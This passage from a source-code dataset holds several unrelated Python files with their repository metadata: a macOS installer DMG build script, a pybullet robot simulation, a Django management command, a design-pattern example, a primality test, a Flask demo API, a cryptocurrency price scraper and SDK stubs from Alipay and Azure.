sys.stdout.write(data) print(" -- retrying hdiutil create") time.sleep(5) else: raise RuntimeError("command failed: %s"%(cmd,)) if not os.path.exists(os.path.join(WORKDIR, "mnt")): os.mkdir(os.path.join(WORKDIR, "mnt")) runCommand("hdiutil attach %s -mountroot %s"%( shellQuote(imagepath + ".tmp.dmg"), shellQuote(os.path.join(WORKDIR, "mnt")))) # Custom icon for the DMG, shown when the DMG is mounted. shutil.copy("../Icons/Disk Image.icns", os.path.join(WORKDIR, "mnt", volname, ".VolumeIcon.icns")) runCommand("SetFile -a C %s/"%( shellQuote(os.path.join(WORKDIR, "mnt", volname)),)) runCommand("hdiutil detach %s"%(shellQuote(os.path.join(WORKDIR, "mnt", volname)))) setIcon(imagepath + ".tmp.dmg", "../Icons/Disk Image.icns") runCommand("hdiutil convert %s -format UDZO -o %s"%( shellQuote(imagepath + ".tmp.dmg"), shellQuote(imagepath))) setIcon(imagepath, "../Icons/Disk Image.icns") os.unlink(imagepath + ".tmp.dmg") return imagepath def setIcon(filePath, icnsPath): """ Set the custom icon for the specified file or directory. """ dirPath = os.path.normpath(os.path.dirname(__file__)) toolPath = os.path.join(dirPath, "seticon.app/Contents/MacOS/seticon") if not os.path.exists(toolPath) or os.stat(toolPath).st_mtime < os.stat(dirPath + '/seticon.m').st_mtime: # NOTE: The tool is created inside an .app bundle, otherwise it won't work due # to connections to the window server. appPath = os.path.join(dirPath, "seticon.app/Contents/MacOS") if not os.path.exists(appPath): os.makedirs(appPath) runCommand("cc -o %s %s/seticon.m -framework Cocoa"%( shellQuote(toolPath), shellQuote(dirPath))) runCommand("%s %s %s"%(shellQuote(os.path.abspath(toolPath)), shellQuote(icnsPath), shellQuote(filePath))) def main(): # First parse options and check if we can perform our work parseOptions() checkEnvironment() os.environ['MACOSX_DEPLOYMENT_TARGET'] = DEPTARGET os.environ['CC'] = CC os.environ['CXX'] = CXX if os.path.exists(WORKDIR): shutil.rmtree(WORKDIR) os.mkdir(WORKDIR) os.environ['LC_ALL'] = 'C' # Then build third-party libraries such as sleepycat DB4. buildLibraries() # Now build python itself buildPython() # And then build the documentation # Remove the Deployment Target from the shell # environment, it's no longer needed and # an unexpected build target can cause problems # when Sphinx and its dependencies need to # be (re-)installed. del os.environ['MACOSX_DEPLOYMENT_TARGET'] buildPythonDocs() # Prepare the applications folder folder = os.path.join(WORKDIR, "_root", "Applications", "Python %s"%( getVersion(),)) fn = os.path.join(folder, "License.rtf") patchFile("resources/License.rtf", fn) fn = os.path.join(folder, "ReadMe.rtf") patchFile("resources/ReadMe.rtf", fn) fn = os.path.join(folder, "Update Shell Profile.command") patchScript("scripts/postflight.patch-profile", fn) fn = os.path.join(folder, "Install Certificates.command") patchScript("resources/install_certificates.command", fn) os.chmod(folder, STAT_0o755) setIcon(folder, "../Icons/Python Folder.icns") # Create the installer buildInstaller() # And copy the readme into the directory containing the installer patchFile('resources/ReadMe.rtf', os.path.join(WORKDIR, 'installer', 'ReadMe.rtf')) # Ditto for the license file. patchFile('resources/License.rtf', os.path.join(WORKDIR, 'installer', 'License.rtf')) fp = open(os.path.join(WORKDIR, 'installer', 'Build.txt'), 'w') fp.write("# BUILD INFO\n") fp.write("# Date: %s\n" % time.ctime()) fp.write("# By: %s\n" % pwd.getpwuid(os.getuid()).pw_gecos) fp.close() # And copy it to a DMG buildDMG() if __name__ == "__main__": main()

37.034793

174

0.581045

c0276c450710abc832fffa6bddf328f70fd648e6

9,330

py

Python

simulator/pybullet/fixed_draco_main.py

junhyeokahn/PnC

388440f7db7b2aedf1e397d0130d806090865c35

[ "MIT" ]

25

2019-01-31T13:51:34.000Z

2022-02-08T13:19:01.000Z

simulator/pybullet/fixed_draco_main.py

junhyeokahn/PnC

388440f7db7b2aedf1e397d0130d806090865c35

[ "MIT" ]

5

2020-06-01T20:48:46.000Z

2022-02-08T11:42:02.000Z

simulator/pybullet/fixed_draco_main.py

junhyeokahn/PnC

388440f7db7b2aedf1e397d0130d806090865c35

[ "MIT" ]

9

2018-11-20T22:37:50.000Z

2021-09-14T17:17:27.000Z

import os import sys cwd = os.getcwd() sys.path.append(cwd) sys.path.append(cwd + '/utils/python_utils') sys.path.append(cwd + '/simulator/pybullet') sys.path.append(cwd + '/build/lib') import time, math from collections import OrderedDict import copy import signal import shutil import cv2 import pybullet as p import numpy as np np.set_printoptions(precision=2) from config.fixed_draco.pybullet_simulation import Config import pybullet_util import util import fixed_draco_interface def set_initial_config(robot, joint_id): # Upperbody p.resetJointState(robot, joint_id["l_shoulder_aa"], np.pi / 6, 0.) p.resetJointState(robot, joint_id["l_elbow_fe"], -np.pi / 2, 0.) p.resetJointState(robot, joint_id["r_shoulder_aa"], -np.pi / 6, 0.) p.resetJointState(robot, joint_id["r_elbow_fe"], -np.pi / 2, 0.) # p.resetJointState(robot, joint_id["l_wrist_ps"], np.pi / 6, 0.) # p.resetJointState(robot, joint_id["r_wrist_ps"], -np.pi / 6, 0.) # Lowerbody hip_yaw_angle = 5 p.resetJointState(robot, joint_id["l_hip_aa"], np.radians(hip_yaw_angle), 0.) p.resetJointState(robot, joint_id["l_hip_fe"], -np.pi / 4, 0.) p.resetJointState(robot, joint_id["l_knee_fe_jp"], np.pi / 4, 0.) p.resetJointState(robot, joint_id["l_knee_fe_jd"], np.pi / 4, 0.) p.resetJointState(robot, joint_id["l_ankle_fe"], -np.pi / 4, 0.) p.resetJointState(robot, joint_id["l_ankle_ie"], np.radians(-hip_yaw_angle), 0.) p.resetJointState(robot, joint_id["r_hip_aa"], np.radians(-hip_yaw_angle), 0.) p.resetJointState(robot, joint_id["r_hip_fe"], -np.pi / 4, 0.) p.resetJointState(robot, joint_id["r_knee_fe_jp"], np.pi / 4, 0.) p.resetJointState(robot, joint_id["r_knee_fe_jd"], np.pi / 4, 0.) p.resetJointState(robot, joint_id["r_ankle_fe"], -np.pi / 4, 0.) p.resetJointState(robot, joint_id["r_ankle_ie"], np.radians(hip_yaw_angle), 0.) def signal_handler(signal, frame): if Config.VIDEO_RECORD: pybullet_util.make_video(video_dir, False) p.disconnect() sys.exit(0) signal.signal(signal.SIGINT, signal_handler) if __name__ == "__main__": # Environment Setup p.connect(p.GUI) p.resetDebugVisualizerCamera(cameraDistance=1.0, cameraYaw=120, cameraPitch=-30, cameraTargetPosition=[1, 0.5, -0.1]) p.setGravity(0, 0, -9.8) p.setPhysicsEngineParameter(fixedTimeStep=Config.CONTROLLER_DT, numSubSteps=Config.N_SUBSTEP) if Config.VIDEO_RECORD: video_dir = 'video/draco' if os.path.exists(video_dir): shutil.rmtree(video_dir) os.makedirs(video_dir) # Create Robot, Ground p.configureDebugVisualizer(p.COV_ENABLE_RENDERING, 0) robot = p.loadURDF(cwd + "/robot_model/draco/draco.urdf", Config.INITIAL_POS_WORLD_TO_BASEJOINT, Config.INITIAL_QUAT_WORLD_TO_BASEJOINT, useFixedBase=1) p.configureDebugVisualizer(p.COV_ENABLE_RENDERING, 1) nq, nv, na, joint_id, link_id, pos_basejoint_to_basecom, rot_basejoint_to_basecom = pybullet_util.get_robot_config( robot, Config.INITIAL_POS_WORLD_TO_BASEJOINT, Config.INITIAL_QUAT_WORLD_TO_BASEJOINT, Config.PRINT_ROBOT_INFO) # Add Gear constraint c = p.createConstraint(robot, link_id['l_knee_fe_lp'], robot, link_id['l_knee_fe_ld'], jointType=p.JOINT_GEAR, jointAxis=[0, 1, 0], parentFramePosition=[0, 0, 0], childFramePosition=[0, 0, 0]) p.changeConstraint(c, gearRatio=-1, maxForce=500, erp=2) c = p.createConstraint(robot, link_id['r_knee_fe_lp'], robot, link_id['r_knee_fe_ld'], jointType=p.JOINT_GEAR, jointAxis=[0, 1, 0], parentFramePosition=[0, 0, 0], childFramePosition=[0, 0, 0]) p.changeConstraint(c, gearRatio=-1, maxForce=500, erp=2) # Initial Config set_initial_config(robot, joint_id) # Link Damping pybullet_util.set_link_damping(robot, link_id.values(), 0., 0.) # Joint Friction pybullet_util.set_joint_friction(robot, joint_id, 0.5) # Construct Interface interface = fixed_draco_interface.FixedDracoInterface(False) # interface = fixed_draco_interface.FixedDracoInterface(True) sensor_data = fixed_draco_interface.FixedDracoSensorData() command = fixed_draco_interface.FixedDracoCommand() # Run Sim t = 0 dt = Config.CONTROLLER_DT count = 0 jpg_count = 0 nominal_sensor_data = pybullet_util.get_sensor_data( robot, joint_id, link_id, pos_basejoint_to_basecom, rot_basejoint_to_basecom) while (1): # Get SensorData if Config.SIMULATE_CAMERA and count % (Config.CAMERA_DT / Config.CONTROLLER_DT) == 0: pass sensor_data_dict = pybullet_util.get_sensor_data( robot, joint_id, link_id, pos_basejoint_to_basecom, rot_basejoint_to_basecom) rf_height = pybullet_util.get_link_iso(robot, link_id['r_foot_contact'])[2, 3] lf_height = pybullet_util.get_link_iso(robot, link_id['l_foot_contact'])[2, 3] sensor_data_dict[ 'b_rf_contact'] = True if rf_height <= 0.005 else False sensor_data_dict[ 'b_lf_contact'] = True if lf_height <= 0.005 else False sensor_data_dict['imu_frame_iso'] = pybullet_util.get_link_iso( robot, link_id['torso_imu']) sensor_data_dict['imu_frame_vel'] = pybullet_util.get_link_vel( robot, link_id['torso_imu']) # Get Keyboard Event keys = p.getKeyboardEvents() if pybullet_util.is_key_triggered(keys, 'w'): interface.interrupt.b_interrupt_button_w = True elif pybullet_util.is_key_triggered(keys, 'x'): interface.interrupt.b_interrupt_button_x = True elif pybullet_util.is_key_triggered(keys, 'a'): interface.interrupt.b_interrupt_button_a = True elif pybullet_util.is_key_triggered(keys, 's'): interface.interrupt.b_interrupt_button_s = True elif pybullet_util.is_key_triggered(keys, 'd'): interface.interrupt.b_interrupt_button_d = True elif pybullet_util.is_key_triggered(keys, 'q'): interface.interrupt.b_interrupt_button_q = True elif pybullet_util.is_key_triggered(keys, 'e'): interface.interrupt.b_interrupt_button_e = True elif pybullet_util.is_key_triggered(keys, 'r'): interface.interrupt.b_interrupt_button_r = True # Copy sensor_data_dict sensor_data.imu_frame_iso = sensor_data_dict['imu_frame_iso'] sensor_data.imu_frame_vel = sensor_data_dict['imu_frame_vel'] sensor_data.joint_positions = sensor_data_dict["joint_pos"] sensor_data.joint_velocities = sensor_data_dict["joint_vel"] # Compute Command if Config.PRINT_TIME: start_time = time.time() interface.getCommand(sensor_data, command) command_joint_positions = copy.deepcopy(command.joint_positions) command_joint_velocities = copy.deepcopy(command.joint_velocities) command_joint_torques = copy.deepcopy(command.joint_torques) if Config.PRINT_TIME: end_time = time.time() print("ctrl computation time: ", end_time - start_time) # Exclude Knee Proximal Joints Command del command_joint_positions["l_knee_fe_jp"] del command_joint_positions["r_knee_fe_jp"] del command_joint_velocities["l_knee_fe_jp"] del command_joint_velocities["r_knee_fe_jp"] del command_joint_torques["l_knee_fe_jp"] del command_joint_torques["r_knee_fe_jp"] command_dict = dict() command_dict["joint_pos"] = command_joint_positions command_dict["joint_vel"] = command_joint_velocities command_dict["joint_trq"] = command_joint_torques # Apply Command # pybullet_util.set_motor_trq(robot, joint_id, command_joint_torques) pybullet_util.set_motor_impedance(robot, joint_id, command_dict, Config.KP, Config.KD) # Save Image if (Config.VIDEO_RECORD) and (count % Config.RECORD_FREQ == 0): frame = pybullet_util.get_camera_image([1., 0.5, 1.], 1.0, 120, -15, 0, 60., 1920, 1080, 0.1, 100.) frame = frame[:, :, [2, 1, 0]] # << RGB to BGR filename = video_dir + '/step%06d.jpg' % jpg_count cv2.imwrite(filename, frame) jpg_count += 1 p.stepSimulation() time.sleep(dt) t += dt count += 1

39.201681

119

0.622186

7746af5020e668189dbc4f76965c292197ec117f

753

py

Python

haystack/management/commands/haystack_info.py

dulmandakh/django-haystack

01c440618a63fa03e05ce9f4d2615e0933f642b1

[ "BSD-3-Clause" ]

null

haystack/management/commands/haystack_info.py

dulmandakh/django-haystack

01c440618a63fa03e05ce9f4d2615e0933f642b1

[ "BSD-3-Clause" ]

null

haystack/management/commands/haystack_info.py

dulmandakh/django-haystack

01c440618a63fa03e05ce9f4d2615e0933f642b1

[ "BSD-3-Clause" ]

null

from django.core.management.base import BaseCommand from haystack import connections from haystack.constants import DEFAULT_ALIAS class Command(BaseCommand): help = "Provides feedback about the current Haystack setup." def handle(self, **options): """Provides feedback about the current Haystack setup.""" unified_index = connections[DEFAULT_ALIAS].get_unified_index() indexed = unified_index.get_indexed_models() index_count = len(indexed) self.stdout.write("Number of handled %s index(es)." % index_count) for index in indexed: self.stdout.write( " - Model: %s by Index: %s" % (index.__name__, unified_index.get_indexes()[index]) )

32.73913

74

0.662683

50d78e7d689e0e4b48a85a1310baab3829ea90b9

2,406

py

Python

behavioral/template_method.py

MADTeacher/design-patterns

8cac737a923f3e3dbfd4c5f38f95eeb74b0ca020

[ "MIT" ]

11

2021-07-23T10:10:25.000Z

2022-02-09T08:54:16.000Z

behavioral/template_method.py

MADTeacher/design-patterns

8cac737a923f3e3dbfd4c5f38f95eeb74b0ca020

[ "MIT" ]

null

behavioral/template_method.py

MADTeacher/design-patterns

8cac737a923f3e3dbfd4c5f38f95eeb74b0ca020

[ "MIT" ]

8

2021-03-26T17:57:15.000Z

2022-01-03T13:23:42.000Z

from abc import ABC, abstractmethod from typing import List class Pizza: """Класс приготовляемой шеф-поваром пиццы""" def __init__(self): self.__state: List[str] = ['base'] def add_ingredient(self, ingredient: str) -> None: print(f"В пиццу добавлен ингредиент: {ingredient}") self.__state.append(ingredient) def __str__(self): return f"Ингридиенты пиццы: {self.__state}" class PizzaMaker(ABC): """Базовый класс шаблонного метода""" def make_pizza(self, pizza: Pizza) -> None: self.prepare_sauce(pizza) self.prepare_topping(pizza) self.cook(pizza) @abstractmethod def prepare_sauce(self, pizza: Pizza) -> None: ... @abstractmethod def prepare_topping(self, pizza: Pizza) -> None: ... @abstractmethod def cook(self, pizza: Pizza) -> None: ... class MargaritaMaker(PizzaMaker): """Класс приготовления пиццы Маргарита""" def prepare_sauce(self, pizza: Pizza) -> None: pizza.add_ingredient('Tomato') def prepare_topping(self, pizza: Pizza) -> None: pizza.add_ingredient('Bacon') pizza.add_ingredient('Mozzarella') pizza.add_ingredient('Mozzarella') def cook(self, pizza: Pizza) -> None: print("Пицца 'Маргарита' будет готова через 10 минут") class SalamiMaker(PizzaMaker): """Класс приготовления пиццы Маргарита""" def prepare_sauce(self, pizza: Pizza) -> None: pizza.add_ingredient('Pesto') def prepare_topping(self, pizza: Pizza) -> None: pizza.add_ingredient('Salami') pizza.add_ingredient('Salami') pizza.add_ingredient('Mozzarella') def cook(self, pizza: Pizza) -> None: print("Пицца 'Салями' будет готова через 15 минут") class Chief: """Класс шеф-повара""" def __init__(self, template_pizza: PizzaMaker): self.__cook = template_pizza def set_cook_template(self, template_pizza: PizzaMaker): self.__cook = template_pizza def make_pizza(self) -> Pizza: pizza = Pizza() self.__cook.make_pizza(pizza) return pizza if __name__ == "__main__": chief = Chief(MargaritaMaker()) print("*"*8 + "Готовим пиццу 'Маргарита'"+8*"*") print(chief.make_pizza()) print("*" * 8 + "Готовим пиццу 'Салями'" + 8 * "*") chief.set_cook_template(SalamiMaker()) print(chief.make_pizza())

27.655172

62

0.645054

0f8769abbefea0c538bf89f2c6369586e11f0cd8

831

py

Python

atcoder/abc/abc149_c.py

knuu/competitive-programming

16bc68fdaedd6f96ae24310d697585ca8836ab6e

[ "MIT" ]

1

2018-11-12T15:18:55.000Z

atcoder/abc/abc149_c.py

knuu/competitive-programming

16bc68fdaedd6f96ae24310d697585ca8836ab6e

[ "MIT" ]

null

atcoder/abc/abc149_c.py

knuu/competitive-programming

16bc68fdaedd6f96ae24310d697585ca8836ab6e

[ "MIT" ]

null

def miller_rabin(n): """ primality Test if n < 3,825,123,056,546,413,051, it is enough to test a = 2, 3, 5, 7, 11, 13, 17, 19, and 23. Complexity: O(log^3 n) """ assert(n >= 1) if n == 2: return True if n <= 1 or not n & 1: return False primes = [2, 3, 5, 7, 11, 13, 17, 19, 23] d = n - 1 s = 0 while not d & 1: d >>= 1 s += 1 for prime in primes: if prime >= n: continue x = pow(prime, d, n) if x == 1: continue for r in range(s): if x == n - 1: break if r + 1 == s: return False x = x * x % n return True X = int(input()) while True: if miller_rabin(X): print(X) break X += 1

19.785714

62

0.405535

41c22598cef5606219069802493372d21e4e826a

2,876

py

Python

python/tron.py

newrelic-experimental/demo-pythontron

0561d7e496da3a518c28102010c3c76445a47307

[ "Apache-2.0" ]

null

python/tron.py

newrelic-experimental/demo-pythontron

0561d7e496da3a518c28102010c3c76445a47307

[ "Apache-2.0" ]

null

python/tron.py

newrelic-experimental/demo-pythontron

0561d7e496da3a518c28102010c3c76445a47307

[ "Apache-2.0" ]

null

import os import sys from flask import Flask, Response from api.help import help_message from dependency_injection_container import Container from lib.app_logging import AppLogging from lib.tron_response import TronResponse from repository.helpers import inventory_repository_selector app = Flask(__name__) @app.errorhandler(Exception) def handle_exception(e): message = "{}".format(e) AppLogging.error(message) return message, 500 @app.route("/") def index(): return get_flask_response(index.index_message()) @app.route("/api") def index_api(): return get_flask_response(index.index_message()) @app.route("/api/help") def help(): return get_flask_response(help_message()) @app.route("/api/behaviors") def behaviors(): return get_flask_response(behaviors.list_behaviors()) @app.route("/api/validateMessage") def validateMessage(): return get_flask_response(message.validate()) @app.route("/api/inventory") def inventory_list(): return get_flask_response(inventory.get_inventory()) @app.route("/api/inventory/<string:item_id>") def inventory_item(item_id): return get_flask_response(inventory.get_inventory_item(item_id)) @app.route("/api/database/health") def database_health_check(): is_connected = database_connector.connect().is_connected() status_code = 200 if is_connected else 500 return get_flask_response(TronResponse(status_code=status_code)) @app.after_request def add_headers(response): return http_utils.add_response_headers(response) def get_flask_response(tron_response): response = Response( tron_response.get_body(), status=tron_response.get_status_code(), mimetype='application/json' ) for k, v in tron_response.get_headers().items(): response.headers[k] = v return response if __name__ == "__main__": container = Container() app_config = container.app_config() container.config.from_dict(app_config.asdict()) container.wire(modules=[sys.modules[__name__]]) arguments = container.arguments() AppLogging.init(arguments.logging_level) if inventory_repository_selector(app_config) == 'database': container.setup_database_action().execute() database_connector = container.database_connector() http_utils = container.http_utils() inventory = container.inventory_handler() message = container.message_handler() behaviors = container.behaviors_handler() index = container.index_handler() debug_mode = arguments.debug_mode if debug_mode is not None and debug_mode == 'On': os.environ["FLASK_ENV"] = "development" port = int(app_config.get_app_port()) AppLogging.info("Listening on port: " + str(port)) AppLogging.info(index.get_message()) app.run(use_debugger=True, use_reloader=False, threaded=True, host='0.0.0.0', port=port)

25.678571

92

0.73783

1fff79c7c297ddae3bbff2a59c09186fc49b4ada

11,710

py

Python

ces/coin_database.py

coincell-pub/CLI-crypto-console

30c2d2c64e14d0cfa54aafd0cabb7d1524cd5d56

[ "BSD-2-Clause", "BSD-2-Clause-FreeBSD" ]

null

ces/coin_database.py

coincell-pub/CLI-crypto-console

30c2d2c64e14d0cfa54aafd0cabb7d1524cd5d56

[ "BSD-2-Clause", "BSD-2-Clause-FreeBSD" ]

null

ces/coin_database.py

coincell-pub/CLI-crypto-console

30c2d2c64e14d0cfa54aafd0cabb7d1524cd5d56

[ "BSD-2-Clause", "BSD-2-Clause-FreeBSD" ]

null

# Copyright (c) 2021, coincell # All rights reserved. # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # 1. Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR # ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND # ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # The views and conclusions contained in the software and documentation are those # of the authors and should not be interpreted as representing official policies, # either expressed or implied, of the FreeBSD Project. import requests import threading import json import re from exceptions import * from utils import CoinPrice class CoinMetadata: def __init__(self, code, name, price, rank, volume_24h, market_cap, available_supply, total_supply, max_supply, change_1h, change_24h, change_7d): self.code = code self.name = name self.price = price self.rank = rank self.volume_24h = volume_24h self.market_cap = market_cap self.available_supply = available_supply self.total_supply = total_supply self.max_supply = max_supply self.change_1h = change_1h self.change_24h = change_24h self.change_7d = change_7d class CoinDatabase: API_URL = 'https://api.coinmarketcap.com/v1/ticker/?convert={0}' WEB_URL = 'https://coinmarketcap.com/all/views/all/' VALID_FIAT_CURRENCIES = set([ 'aud', 'brl', 'cad', 'chf', 'clp', 'cny', 'czk', 'dkk', 'eur', 'gbp', 'hkd', 'huf', 'idr', 'ils', 'inr', 'jpy', 'krw', 'mxn', 'myr', 'nok', 'nzd', 'php', 'pkr', 'pln', 'rub', 'sek', 'sgd', 'thb', 'try', 'twd', 'zar', 'usd' ]) def __init__(self, fiat_currency): self.fiat_currency = fiat_currency.lower() if self.fiat_currency not in CoinDatabase.VALID_FIAT_CURRENCIES: raise ConfigException('Unknown fiat currency "{0}"'.format(fiat_currency)) self._running = True self._metadata = {} self._metadata_condition = threading.Condition() self._stop_condition = threading.Condition() self._api_url = CoinDatabase.API_URL.format(self.fiat_currency.upper()) self._web_url = CoinDatabase.WEB_URL self._update_thread = threading.Thread(target=self.poll_data) self._update_thread.start() def stop(self): self._running = False with self._stop_condition: self._stop_condition.notify() self._update_thread.join() def wait_for_data(self): with self._metadata_condition: if len(self._metadata) == 0: self._metadata_condition.wait() def get_currency_price(self, code): if self.has_coin(code): price = self.get_currency_metadata(code).price return CoinPrice(code, price, self.fiat_currency) else: return CoinPrice(code) def get_currency_metadata(self, code): with self._metadata_condition: if code in self._metadata: return self._metadata[code] else: raise UnknownCurrencyException(code) def has_coin(self, code): with self._metadata_condition: return code in self._metadata def get_top_coins(self, top_limit): coins = [] with self._metadata_condition: for coin in self._metadata.values(): if coin.rank is not None and coin.rank <= top_limit: coins.append(coin) return sorted(coins, key=lambda i: i.rank) def get_coins(self): with self._metadata_condition: return self._metadata.values() def _extract_float(self, value): return None if value is None else float(value) def _merge_attribute(self, lhs, rhs, attribute): if getattr(rhs, attribute) is not None: setattr(lhs, attribute, getattr(rhs, attribute)) def _add_coin(self, code, coin): if code in self._metadata: stored_coin = self._metadata[code] self._merge_attribute(stored_coin, coin, "name") self._merge_attribute(stored_coin, coin, "price") self._merge_attribute(stored_coin, coin, "rank") self._merge_attribute(stored_coin, coin, "volume_24h") self._merge_attribute(stored_coin, coin, "market_cap") self._merge_attribute(stored_coin, coin, "available_supply") self._merge_attribute(stored_coin, coin, "total_supply") self._merge_attribute(stored_coin, coin, "max_supply") self._merge_attribute(stored_coin, coin, "change_1h") self._merge_attribute(stored_coin, coin, "change_24h") self._merge_attribute(stored_coin, coin, "change_7d") else: self._metadata[code] = coin def _load_from_api(self): result = None try: raw_result = requests.get(self._api_url) result = json.loads(raw_result.text) except Exception as ex: # TODO: somehow log this pass if result is not None: with self._metadata_condition: for entry in result: try: coin = CoinMetadata( entry['symbol'], entry['name'], self._extract_float(entry['price_' + self.fiat_currency]), int(entry['rank']), self._extract_float(entry['24h_volume_' + self.fiat_currency]), self._extract_float(entry['market_cap_' + self.fiat_currency]), self._extract_float(entry['available_supply']), self._extract_float(entry['total_supply']), self._extract_float(entry['max_supply']), self._extract_float(entry['percent_change_1h']), self._extract_float(entry['percent_change_24h']), self._extract_float(entry['percent_change_7d']) ) self._add_coin(entry['symbol'], coin) except Exception as ex: if 'symbol' in entry: print 'Failed to parse metadata for "{0}": {1}'.format( entry['symbol'], ex ) else: print 'Failed to parse currency metadata: {0}'.format(ex) self._metadata_condition.notify_all() def _load_from_web(self): if self.fiat_currency == 'usd': conversion_rate = 1.0 else: data = requests.get(self._api_url).text data = json.loads(data) # Find the conversion rate between USD and whatever fiat currency we're using for coin in data: if coin['symbol'] == 'BTC': conversion_rate = float(coin['price_' + self.fiat_currency]) / float(coin['price_usd']) data = requests.get(self._web_url).text table_start = data.find('id="currencies-all"') table_end = data.find('</table>', table_start) table = data[table_start:table_end] attribute_keys = { 'class="text-center">' : 'rank', 'currency-name-container' : 'name', 'col-symbol' : 'code', 'market-cap' : 'market-cap', 'class="price"' : 'price', 'circulating-supply' : 'circulating-supply', 'class="volume"' : 'volume', 'data-timespan="1h"' : 'change-1h', 'data-timespan="24h"' : 'change-24h', 'data-timespan="7d"' : 'change-7d', } price_attributes = ['price', 'market-cap', 'volume'] number_attributes = price_attributes + ['circulating-supply'] percentage_attributes = ['change-1h', 'change-24h', 'change-7d'] with self._metadata_condition: for entry in table.split('<tr ')[1:]: attributes = {} for column in entry.split('<td '): for key, value in attribute_keys.items(): if key in column: index = column.find(key) match = re.findall('>([^<]+)<', column[index:], re.MULTILINE) match = map(lambda i: i.strip(), match) match = filter(lambda i: len(i) > 0, match) if len(match) > 0: attributes[value] = match[0].strip() else: attributes[value] = None for key in number_attributes: if attributes.get(key, None): try: attributes[key] = float(attributes[key].replace('$', '').replace(',', '')) except: attributes[key] = None for key in price_attributes: if attributes.get(key, None): attributes[key] *= conversion_rate for key in percentage_attributes: if attributes.get(key, None): attributes[key] = float(attributes[key].replace('%', '')) try: coin = CoinMetadata( attributes['code'], attributes['name'], attributes['price'], int(attributes['rank']), attributes['volume'], attributes['market-cap'], attributes['circulating-supply'], None, None, attributes.get('change-1h', None), attributes.get('change-24h', None), attributes.get('change-7d', None) ) self._add_coin(attributes['code'], coin) except Exception as ex: pass def poll_data(self): while self._running: # Load all coins by parsing coinmarketcap.com/all/views/all/ try: self._load_from_web() except: pass # Now get some better data for the coins that are served through the API self._load_from_api() with self._stop_condition: # Sleep for 5 minutes self._stop_condition.wait(60 * 5)

44.694656

107

0.563792

64d32016949b8988e7f3520c8fe40ba9ba078b48

1,041

py

Python

alipay/aop/api/response/AlipayUserCardActivateurlQueryResponse.py

antopen/alipay-sdk-python-all

8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c

[ "Apache-2.0" ]

213

2018-08-27T16:49:32.000Z

2021-12-29T04:34:12.000Z

alipay/aop/api/response/AlipayUserCardActivateurlQueryResponse.py

antopen/alipay-sdk-python-all

8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c

[ "Apache-2.0" ]

29

2018-09-29T06:43:00.000Z

2021-09-02T03:27:32.000Z

alipay/aop/api/response/AlipayUserCardActivateurlQueryResponse.py

antopen/alipay-sdk-python-all

8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c

[ "Apache-2.0" ]

59

2018-08-27T16:59:26.000Z

2022-03-25T10:08:15.000Z

#!/usr/bin/env python # -*- coding: utf-8 -*- import json from alipay.aop.api.response.AlipayResponse import AlipayResponse class AlipayUserCardActivateurlQueryResponse(AlipayResponse): def __init__(self): super(AlipayUserCardActivateurlQueryResponse, self).__init__() self._apply_card_url = None self._callback = None @property def apply_card_url(self): return self._apply_card_url @apply_card_url.setter def apply_card_url(self, value): self._apply_card_url = value @property def callback(self): return self._callback @callback.setter def callback(self, value): self._callback = value def parse_response_content(self, response_content): response = super(AlipayUserCardActivateurlQueryResponse, self).parse_response_content(response_content) if 'apply_card_url' in response: self.apply_card_url = response['apply_card_url'] if 'callback' in response: self.callback = response['callback']

28.916667

111

0.701249

30ec0d5c40fdf63edb0374a6e5345cb3b288ed38

82,060

py

Python

virtual_env/.cognitive_venv/Lib/site-packages/azure/storage/blob/pageblobservice.py

RajdeepBiswas/AI_Enabled_Image_Bucketization

d8cd23d49d5f6a93003e3a20a637fdb8f2032f19

[ "MIT" ]

1

2021-10-16T19:33:56.000Z

virtual_env/.cognitive_venv/Lib/site-packages/azure/storage/blob/pageblobservice.py

RajdeepBiswas/AI_Enabled_Image_Bucketization

d8cd23d49d5f6a93003e3a20a637fdb8f2032f19

[ "MIT" ]

null

virtual_env/.cognitive_venv/Lib/site-packages/azure/storage/blob/pageblobservice.py

RajdeepBiswas/AI_Enabled_Image_Bucketization

d8cd23d49d5f6a93003e3a20a637fdb8f2032f19

[ "MIT" ]

1

2019-07-25T15:09:05.000Z

# ------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # -------------------------------------------------------------------------- import sys from os import path from azure.storage.common._common_conversion import ( _int_to_str, _to_str, _datetime_to_utc_string, _get_content_md5, ) from azure.storage.common._constants import ( SERVICE_HOST_BASE, DEFAULT_PROTOCOL, ) from azure.storage.common._error import ( _validate_not_none, _validate_type_bytes, _validate_encryption_required, _validate_encryption_unsupported, _ERROR_VALUE_NEGATIVE, ) from azure.storage.common._http import HTTPRequest from azure.storage.common._serialization import ( _get_data_bytes_only, _add_metadata_headers, ) from ._deserialization import ( _convert_xml_to_page_ranges, _parse_page_properties, _parse_base_properties, ) from ._encryption import _generate_blob_encryption_data from ._error import ( _ERROR_PAGE_BLOB_SIZE_ALIGNMENT, ) from ._serialization import ( _get_path, _validate_and_format_range_headers, ) from ._upload_chunking import ( _PageBlobChunkUploader, _upload_blob_chunks, ) from .baseblobservice import BaseBlobService from .models import ( 